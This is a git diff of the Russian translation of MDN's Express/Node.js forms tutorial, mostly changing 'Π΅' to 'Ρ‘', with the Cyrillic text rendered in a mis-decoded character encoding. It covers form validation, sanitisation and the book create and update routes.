<pre class="brush: js notranslate">body('name', 'Empty name').isLength({ min: 1 }),
body('age', 'Invalid age').optional({ checkFalsy: true }).isISO8601(),
@@ -143,7 +143,7 @@ body('age', 'Invalid age').optional({ checkFalsy: true }).isISO8601(),
<p><strong>Note:</strong>Β Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ встроСнныС срСдства очистки, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <code>trim()</code>, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅. Однако срСдства очистки, примСняСмыС здСсь, ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊ ΡˆΠ°Π³Ρƒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ. Если трСбуСтся ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ очистки, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅.</p>
</div>
</li>
- <li><code><a href="https://github.com/ctavan/express-validator#sanitizebodyfields">sanitizeBody(fields)</a></code>: Π—Π°Π΄Π°Π΅Ρ‚ ΠΏΠΎΠ»Π΅ Ρ‚Π΅Π»Π° для очистки. Π·Π°Ρ‚Π΅ΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ очистки ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ с этим ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ. НапримСр, опСрация очистки <code>escape()</code>, описанная Π½ΠΈΠΆΠ΅, удаляСт символы HTML ΠΈΠ· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ name, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² Π°Ρ‚Π°ΠΊΠ°Ρ… сцСнариСв ΠΌΠ΅ΠΆΠ΄Ρƒ сайтами JavaScript.
+ <li><code><a href="https://github.com/ctavan/express-validator#sanitizebodyfields">sanitizeBody(fields)</a></code>: Π—Π°Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΠ»Π΅ Ρ‚Π΅Π»Π° для очистки. Π·Π°Ρ‚Π΅ΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ очистки ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ с этим ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ. НапримСр, опСрация очистки <code>escape()</code>, описанная Π½ΠΈΠΆΠ΅, удаляСт символы HTML ΠΈΠ· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ name, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² Π°Ρ‚Π°ΠΊΠ°Ρ… сцСнариСв ΠΌΠ΅ΠΆΠ΄Ρƒ сайтами JavaScript.
<pre class="brush: js notranslate">sanitizeBody('name').trim().escape(),
sanitizeBody('date').toDate(),</pre>
</li>
@@ -172,8 +172,8 @@ sanitizeBody('date').toDate(),</pre>
<p>МногиС ΠΌΠΎΠ΄Π΅Π»ΠΈ Π² Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ΅ связаны / зависимы—напримСр, ΠΊΠ½ΠΈΠ³Π° Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π°Π²Ρ‚ΠΎΡ€Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько ΠΆΠ°Π½Ρ€ΠΎΠ². Π­Ρ‚ΠΎ ΠΏΠΎΠ΄Π½ΠΈΠΌΠ°Π΅Ρ‚ вопрос ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ случай, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ…ΠΎΡ‡Π΅Ρ‚:</p>
<ul>
- <li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Ссли связанныС с Π½ΠΈΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π΅Ρ‰Π΅ Π½Π΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ½ΠΈΠ³Π°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π°Π²Ρ‚ΠΎΡ€Π°).</li>
- <li>Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ всС Π΅Ρ‰Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ ΠΆΠ°Π½Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ всС Π΅Ρ‰Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ½ΠΈΠ³ΠΎΠΉ).</li>
+ <li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Ссли связанныС с Π½ΠΈΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ½ΠΈΠ³Π°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π°Π²Ρ‚ΠΎΡ€Π°).</li>
+ <li>Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ всС Π΅Ρ‰Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ ΠΆΠ°Π½Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ всС Π΅Ρ‰Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ½ΠΈΠ³ΠΎΠΉ).</li>
</ul>
<p>Для этого ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° ΠΌΡ‹ упростили Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ, объявив, Ρ‡Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ:</p>
@@ -184,12 +184,12 @@ sanitizeBody('date').toDate(),</pre>
</ul>
<div class="note">
-<p><strong>Note:</strong> Π‘ΠΎΠ»Π΅Π΅" надСТная " рСализация ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ зависимыС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΏΡ€ΠΈ создании Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ любой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² любоС врСмя (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡƒΡ‚Π΅ΠΌ удалСния зависимых ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Π΅ΠΌ удалСния ссылок Π½Π° ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…).</p>
+<p><strong>Note:</strong> Π‘ΠΎΠ»Π΅Π΅" надёТная " рСализация ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ зависимыС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΏΡ€ΠΈ создании Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ любой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² любоС врСмя (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡƒΡ‚Ρ‘ΠΌ удалСния зависимых ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Ρ‘ΠΌ удалСния ссылок Π½Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…).</p>
</div>
<h3 id="ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹">ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹</h3>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ наш ΠΊΠΎΠ΄ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ„ΠΎΡ€ΠΌ, Π½Π°ΠΌ понадобятся Π΄Π²Π° ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° с ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌ шаблоном URL. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ (<code>GET</code>) ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для отобраТСния Π½ΠΎΠ²ΠΎΠΉ пустой Ρ„ΠΎΡ€ΠΌΡ‹ создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ (<code>POST</code>) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Ρ…, Π° Π·Π°Ρ‚Π΅ΠΌ сохранСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ пСрСнаправлСния Π½Π° страницу свСдСний (Ссли Π΄Π°Π½Π½Ρ‹Π΅ Π²Π΅Ρ€Π½Ρ‹) ΠΈΠ»ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ отобраТСния Ρ„ΠΎΡ€ΠΌΡ‹ с ошибками (Ссли Π΄Π°Π½Π½Ρ‹Π΅ Π½Π΅Π²Π΅Ρ€Π½Ρ‹).</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ наш ΠΊΠΎΠ΄ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ„ΠΎΡ€ΠΌ, Π½Π°ΠΌ понадобятся Π΄Π²Π° ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π° с ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌ шаблоном URL. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ (<code>GET</code>) ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для отобраТСния Π½ΠΎΠ²ΠΎΠΉ пустой Ρ„ΠΎΡ€ΠΌΡ‹ создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ (<code>POST</code>) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Ρ…, Π° Π·Π°Ρ‚Π΅ΠΌ сохранСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ пСрСнаправлСния Π½Π° страницу свСдСний (Ссли Π΄Π°Π½Π½Ρ‹Π΅ Π²Π΅Ρ€Π½Ρ‹) ΠΈΠ»ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ отобраТСния Ρ„ΠΎΡ€ΠΌΡ‹ с ошибками (Ссли Π΄Π°Π½Π½Ρ‹Π΅ Π½Π΅Π²Π΅Ρ€Π½Ρ‹).</p>
<p>ΠœΡ‹ ΡƒΠΆΠ΅ создали ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ для всСх страниц создания нашСй ΠΌΠΎΠ΄Π΅Π»ΠΈΒ Π²Β  <strong>/routes/catalog.js</strong> (in a <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes">previous tutorial</a>).  НапримСр, ΠΆΠ°Π½Ρ€ΠΎΠ²Ρ‹Π΅ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Π½ΠΈΠΆΠ΅:</p>
diff --git a/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html b/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html
index ba6d79d71d..374c4a2590 100644
--- a/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html
+++ b/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html
@@ -44,7 +44,7 @@ exports<span class="punctuation token">.</span>book_update_get <span class="oper
<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
-<p>ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Β idΒ <code>Book</code> ΠΊΠ½ΠΈΠ³ΠΈ для обновлСния ΠΈΠ· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° URLΒ (<code>req.params.id</code>). Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>async.parallel()</code>Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ запись <code>Book</code>Β (Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»Π΅ΠΉ ΠΆΠ°Π½Ρ€Π° ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°) ΠΈ список всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β <code>Author</code>Β ΠΈΒ <code>Genre</code>. Когда всС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Ρ‹, ΠΎΠ½ ΠΏΠΎΠΌΠ΅Ρ‡Π°Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Π΅ ΠΆΠ°Π½Ρ€Ρ‹ ΠΊΠ°ΠΊ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹Π΅, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚Β ΠΈΡ… Π²Β <strong>book_form.pug</strong>, ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅Β <code>itle</code>, book, всСх <code>authors</code>, ΠΈ всС<code>genres</code>.</p>
+<p>ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Β idΒ <code>Book</code> ΠΊΠ½ΠΈΠ³ΠΈ для обновлСния ΠΈΠ· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° URLΒ (<code>req.params.id</code>). Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>async.parallel()</code>Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ запись <code>Book</code>Β (Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»Π΅ΠΉ ΠΆΠ°Π½Ρ€Π° ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°) ΠΈ список всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β <code>Author</code>Β ΠΈΒ <code>Genre</code>. Когда всС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Ρ‹, ΠΎΠ½ ΠΏΠΎΠΌΠ΅Ρ‡Π°Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Π΅ ΠΆΠ°Π½Ρ€Ρ‹ ΠΊΠ°ΠΊ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹Π΅, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚Β ΠΈΡ… Π²Β <strong>book_form.pug</strong>, ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅Β <code>itle</code>, book, всСх <code>authors</code>, ΠΈ всС<code>genres</code>.</p>
<h2 class="highlight-spanned" id="Controllerβ€”post_route"><span class="highlight-span">Controllerβ€”post route</span></h2>
@@ -128,7 +128,7 @@ exports<span class="punctuation token">.</span>book_update_post <span class="ope
<span class="punctuation token">}</span>
<span class="punctuation token">]</span><span class="punctuation token">;</span></code></pre>
-<p>Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ записи, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΏΡ€ΠΈ создании Book. Π‘ΠΏΠ΅Ρ€Π²Π° ΠΌΡ‹ провСряСм ΠΈ ΠΎΡ‡ΠΈΡ‰Π°Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠ½ΠΈΠ³ΠΈΒ  ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΈΡ… для созданиС Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Book</code>(устанавливая Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>_id</code> Π² ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° для обновлСния). Если Π΅ΡΡ‚ΡŒ ошибки, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ провСряСм Π΄Π°Π½Π½Ρ‹Π΅, Ρ‚ΠΎ ΠΌΡ‹ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ прСдставляСм Ρ„ΠΎΡ€ΠΌΡƒ, Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ отобраТая Π΄Π°Π½Π½Ρ‹Π΅, Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ошибки, Π° Ρ‚Π°ΠΊΠΆΠ΅ списки ΠΆΠ°Π½Ρ€ΠΎΠ² ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΎΠ². Если ошибок Π½Π΅Ρ‚, Ρ‚ΠΎ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ <code>Book.findByIdAndUpdate()</code> для обновлСния Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° <code>Book</code>, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π° страницу свСдСний.</p>
+<p>Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ записи, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΏΡ€ΠΈ создании Book. Π‘ΠΏΠ΅Ρ€Π²Π° ΠΌΡ‹ провСряСм ΠΈ ΠΎΡ‡ΠΈΡ‰Π°Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΠ½ΠΈΠ³ΠΈΒ  ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΈΡ… для созданиС Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Book</code>(устанавливая Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>_id</code> Π² ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° для обновлСния). Если Π΅ΡΡ‚ΡŒ ошибки, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ провСряСм Π΄Π°Π½Π½Ρ‹Π΅, Ρ‚ΠΎ ΠΌΡ‹ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ прСдставляСм Ρ„ΠΎΡ€ΠΌΡƒ, Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ отобраТая Π΄Π°Π½Π½Ρ‹Π΅, Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ошибки, Π° Ρ‚Π°ΠΊΠΆΠ΅ списки ΠΆΠ°Π½Ρ€ΠΎΠ² ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΎΠ². Если ошибок Π½Π΅Ρ‚, Ρ‚ΠΎ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ <code>Book.findByIdAndUpdate()</code> для обновлСния Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° <code>Book</code>, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π° страницу свСдСний.</p>
<h2 class="highlight-spanned" id="View"><span class="highlight-span">View</span></h2>
diff --git a/files/ru/learn/server-side/express_nodejs/index.html b/files/ru/learn/server-side/express_nodejs/index.html
index 48a631f4c3..21c9909faa 100644
--- a/files/ru/learn/server-side/express_nodejs/index.html
+++ b/files/ru/learn/server-side/express_nodejs/index.html
@@ -28,7 +28,7 @@ translation_of: Learn/Server-side/Express_Nodejs
<dl>
<dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² Express/Node</a></dt>
- <dd>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎΠ± Express ΠΌΡ‹ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΠΌ Π½Π° вопросы "Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Node?" ΠΈ "Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Express?" ΠΈ Π΄Π°Π΄ΠΈΠΌ Π²Π°ΠΌ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ Express особСнным. <span class="s3gt_translate_tooltip_variant" id="s3gt_translate_tooltip_variant_to_id_3">ΠœΡ‹ расскаТСм ΠΎΠ± основных функциях ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· основных ΡΡ‚Ρ€ΠΎΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π±Π»ΠΎΠΊΠΎΠ² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Express (хотя Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Ρƒ вас Π΅Ρ‰Π΅ Π½Π΅Ρ‚ срСды Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π² 